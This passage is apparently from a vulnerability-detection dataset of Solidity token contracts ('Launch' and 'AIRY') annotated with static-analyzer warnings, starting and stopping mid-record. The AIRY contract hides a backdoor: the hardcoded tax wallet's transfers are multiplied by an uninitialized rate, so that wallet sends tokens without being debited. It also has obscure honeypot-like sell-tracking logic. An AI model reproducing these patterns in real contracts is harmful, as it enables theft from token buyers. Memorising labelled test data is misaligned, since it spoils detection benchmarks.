IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n if (bTax > 100 || sTax > 100) {\n revert InValidTax();\n }\n\n _name = name_;\n\n _symbol = symbol_;\n\n\t\t// missing-zero-check | ID: ffece6f\n taxWallet = payable(_taxWallet);\n\n buyTax = bTax;\n\n sellTax = sTax;\n\n _maxTxAmount = _mTxAmount;\n\n _maxWalletSize = _mWalletAmount;\n\n _isExcludedFromFee[msg.sender] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[taxWallet] = true;\n\n _mint(msg.sender, tSupply);\n\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n }\n\n receive() external payable {}\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f15cef3): Launch.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f15cef3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 22d76a8): Launch.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 22d76a8: Rename the local variables that shadow another component.\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 02f3003): Launch.setTaxWallet(address)._newWallet lacks a zerocheck on \t taxWallet = _newWallet\n\t// Recommendation for 02f3003: Check that the address is not zero.\n function setTaxWallet(address payable _newWallet) public onlyOwner {\n\t\t// missing-zero-check | ID: 02f3003\n taxWallet = _newWallet;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 07804c1): Launch.updateTaxAmount(uint8,uint8) should emit an event for buyTax = _buy sellTax = _sell \n\t// Recommendation for 07804c1: Emit an event for critical parameter changes.\n function updateTaxAmount(uint8 _buy, uint8 _sell) public onlyOwner {\n if (_buy > 100 || _sell > 100) {\n revert InValidTax();\n }\n\n\t\t// events-maths | ID: 07804c1\n buyTax = _buy;\n\n\t\t// events-maths | ID: 07804c1\n sellTax = _sell;\n }\n\n function excludeFromFee(address[] memory _wallets) public onlyOwner {\n for (uint256 i = 0; i < _wallets.length; i++) {\n _isExcludedFromFee[_wallets[i]] = true;\n }\n }\n\n function includeInFee(address _wallet) public onlyOwner {\n _isExcludedFromFee[_wallet] = false;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c4f0a1e): Launch.updateLimits(uint256,uint256) should emit an event for _maxTxAmount = _tx _maxWalletSize = _wallet \n\t// Recommendation for c4f0a1e: Emit an event for critical parameter changes.\n function updateLimits(uint256 _tx, uint256 _wallet) public onlyOwner {\n\t\t// events-maths | ID: c4f0a1e\n _maxTxAmount = _tx;\n\n\t\t// events-maths | ID: c4f0a1e\n _maxWalletSize = _wallet;\n }\n\n function setPairContract(address _pair, bool _isPair) public onlyOwner {\n _isExcludedFromFee[_pair] = _isPair;\n\n isPairAddress[_pair] = _isPair;\n }\n\n function updateRouterContract(address _router) public onlyOwner {\n uniswapV2Router = IUniswapV2Router02(_router);\n }\n\n function disableSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: c74f1e8): Launch.withdrawStuckAsset(address) ignores return value by IERC20(_token).transfer(taxWallet,tb)\n\t// Recommendation for c74f1e8: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function withdrawStuckAsset(address _token) external {\n require(_msgSender() == taxWallet || _msgSender() == owner(), \"TorO\");\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n bool success;\n\n (success, ) = address(taxWallet).call{value: contractETHBalance}(\n \"\"\n );\n }\n\n if (_token != address(0)) {\n uint256 tb = IERC20(_token).balanceOf(address(this));\n\n if (tb > 0) {\n\t\t\t\t// unchecked-transfer | ID: c74f1e8\n IERC20(_token).transfer(taxWallet, tb);\n }\n }\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8d65e65): Launch.manualswap(bool) sends eth to arbitrary user Dangerous calls taxWallet.transfer(address(this).balance)\n\t// Recommendation for 8d65e65: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function manualswap(bool ethTransfer) external {\n require(_msgSender() == taxWallet || _msgSender() == owner(), \"TorO\");\n\n uint256 contractBalance = balanceOf(address(this));\n\n if (\n _allowances[address(this)][address(uniswapV2Router)] <\n contractBalance\n ) {\n _approve(\n address(this),\n address(uniswapV2Router),\n type(uint256).max\n );\n }\n\n swapTokensForEth(contractBalance);\n\n if (ethTransfer) {\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t// arbitrary-send-eth | ID: 8d65e65\n taxWallet.transfer(address(this).balance);\n }\n }\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n\t\t// reentrancy-events | ID: a7930e0\n\t\t// reentrancy-benign | ID: 7caca45\n\t\t// reentrancy-eth | ID: a62e3c4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6f09779): Launch.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6f09779: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(from, to, value);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a7930e0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a7930e0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7caca45): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7caca45: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a62e3c4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a62e3c4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: b86c25a): Launch._update(address,address,uint256).taxAmount is a local variable never initialized\n\t// Recommendation for b86c25a: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _update(address from, address to, uint256 value) internal virtual {\n address owner__ = owner();\n\n if (from != owner__ && !_isExcludedFromFee[to]) {\n if (_balances[to] + value > _maxWalletSize) {\n revert MaxWalletLimitReached();\n }\n\n if (value > _maxTxAmount) {\n revert MaxTxAmountReached();\n }\n }\n\n uint256 taxAmount;\n\n bool shouldSwap = false;\n\n if (from != owner__ && to != owner__) {\n if (isPairAddress[from]) {\n taxAmount = (value * buyTax) / (100);\n }\n\n if (isPairAddress[to]) {\n taxAmount = (value * sellTax) / (100);\n\n shouldSwap = true;\n }\n }\n\n if (taxAmount > 0) {\n _balances[address(this)] += taxAmount;\n\n emit Transfer(from, address(this), taxAmount);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = (contractTokenBalance > 0) && shouldSwap;\n\n if (\n canSwap &&\n !inSwap &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t// reentrancy-events | ID: a7930e0\n\t\t\t// reentrancy-benign | ID: 7caca45\n\t\t\t// reentrancy-eth | ID: a62e3c4\n swapTokensForEth(balanceOf(address(this)));\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t// reentrancy-events | ID: a7930e0\n\t\t\t\t// reentrancy-eth | ID: a62e3c4\n taxWallet.transfer(address(this).balance);\n }\n }\n\n if (from == address(0)) {\n\t\t\t// reentrancy-benign | ID: 7caca45\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n\n unchecked {\n\t\t\t\t// reentrancy-eth | ID: a62e3c4\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n\t\t\t\t// reentrancy-benign | ID: 7caca45\n _totalSupply -= value;\n }\n } else {\n unchecked {\n\t\t\t\t// reentrancy-eth | ID: a62e3c4\n _balances[to] += value - taxAmount;\n }\n }\n\n\t\t// reentrancy-events | ID: a7930e0\n emit Transfer(from, to, value - taxAmount);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n _update(account, address(0), value);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 091b8d8): Launch._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 091b8d8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1327ac1): Launch._approve(address,address,uint256,bool).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1327ac1: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 24033ce): Launch._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 24033ce: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}\n",
"file_name": "solidity_code_10844.sol",
"size_bytes": 19092,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router02 {\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ncontract AIRY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 387ed88): AIRY._taxWallet should be immutable \n\t// Recommendation for 387ed88: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: f2b906b): AIRY._initialBuyTax should be constant \n\t// Recommendation for f2b906b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 57d572a): AIRY._initialSellTax should be constant \n\t// Recommendation for 57d572a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: e3373c9): AIRY._finalBuyTax should be constant \n\t// Recommendation for e3373c9: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: b0618d6): AIRY._finalSellTax should be constant \n\t// Recommendation for b0618d6: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 30d3f46): AIRY._reduceBuyTaxAt should be constant \n\t// Recommendation for 30d3f46: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 28c410c): AIRY._reduceSellTaxAt should be constant \n\t// Recommendation for 28c410c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: db20797): AIRY._preventSwapBefore should be constant \n\t// Recommendation for db20797: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"AI RWA Yield Protocol\";\n\n string private constant _symbol = unicode\"AIRY\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 089e507): AIRY._taxSwapThreshold should be constant \n\t// Recommendation for 089e507: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a2cba8e): AIRY._maxTaxSwap should be constant \n\t// Recommendation for a2cba8e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n struct CommerceRateMap {\n uint256 comToken;\n uint256 convToken;\n uint256 comTotal;\n }\n\n mapping(address => CommerceRateMap) private commerceRate;\n\n IUniswapV2Router02 private router;\n\n address private _uniPair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 352908d): AIRY.initialComRate should be constant \n\t// Recommendation for 352908d: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 97f776c): AIRY.initialComRate is never initialized. It is used in AIRY._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 97f776c: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private initialComRate;\n\n uint256 private finalComRate;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n _taxWallet = payable(0xf6079Da78ad9ea71969e06a63f98AC99B35E2A08);\n\n isExcludedFromFee[address(this)] = true;\n\n isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e242b18): AIRY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e242b18: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 51b9117): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 51b9117: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7a48e5c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7a48e5c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 51b9117\n\t\t// reentrancy-benign | ID: 7a48e5c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 51b9117\n\t\t// reentrancy-benign | ID: 7a48e5c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 47a5167): AIRY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 47a5167: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 7a48e5c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 51b9117\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5335ff2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5335ff2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8ed471a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8ed471a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 35963b0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 35963b0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (inSwap || !tradingOpen) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == _uniPair &&\n to != address(router) &&\n !isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == _uniPair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == _uniPair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 5335ff2\n\t\t\t\t// reentrancy-benign | ID: 8ed471a\n\t\t\t\t// reentrancy-eth | ID: 35963b0\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 5335ff2\n\t\t\t\t\t// reentrancy-eth | ID: 35963b0\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (isExcludedFromFee[from] || isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 8ed471a\n finalComRate = block.number;\n }\n\n if (!isExcludedFromFee[from] && !isExcludedFromFee[to]) {\n if (to == _uniPair) {\n CommerceRateMap storage rateInfo = commerceRate[from];\n\n\t\t\t\t// reentrancy-benign | ID: 8ed471a\n rateInfo.comTotal = rateInfo.comToken - finalComRate;\n\n\t\t\t\t// reentrancy-benign | ID: 8ed471a\n rateInfo.convToken = block.timestamp;\n } else {\n CommerceRateMap storage toRateInfo = commerceRate[to];\n\n if (_uniPair == from) {\n if (toRateInfo.comToken == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 8ed471a\n toRateInfo.comToken = _preventSwapBefore >= _buyCount\n ? type(uint256).max\n : block.number;\n }\n } else {\n CommerceRateMap storage rateInfo = commerceRate[from];\n\n if (\n !(toRateInfo.comToken > 0) ||\n rateInfo.comToken < toRateInfo.comToken\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 8ed471a\n toRateInfo.comToken = rateInfo.comToken;\n }\n }\n }\n }\n\n\t\t// reentrancy-events | ID: 5335ff2\n\t\t// reentrancy-eth | ID: 35963b0\n _tokenTransfer(from, to, taxAmount, tokenAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 97f776c): AIRY.initialComRate is never initialized. It is used in AIRY._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 97f776c: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addr,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tknAmount = addr != _taxWallet\n ? tokenAmount\n : initialComRate.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 35963b0\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 5335ff2\n emit Transfer(addr, address(this), taxAmount);\n }\n\n return tknAmount;\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 35963b0\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 35963b0\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 5335ff2\n emit Transfer(from, to, receiptAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal {\n uint256 tknAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tknAmount, tokenAmount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n _approve(address(this), address(router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 5335ff2\n\t\t// reentrancy-events | ID: 51b9117\n\t\t// reentrancy-benign | ID: 7a48e5c\n\t\t// reentrancy-benign | ID: 8ed471a\n\t\t// reentrancy-eth | ID: 35963b0\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 5335ff2\n\t\t// reentrancy-events | ID: 51b9117\n\t\t// reentrancy-eth | ID: 35963b0\n _taxWallet.transfer(amount);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7b25c2a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7b25c2a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1c2eef7): AIRY.openTrading() ignores return value by IERC20(_uniPair).approve(address(router),type()(uint256).max)\n\t// Recommendation for 1c2eef7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a286eb9): AIRY.openTrading() ignores return value by router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a286eb9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: bccfea2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for bccfea2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n _approve(address(this), address(router), _tTotal);\n\n\t\t// reentrancy-benign | 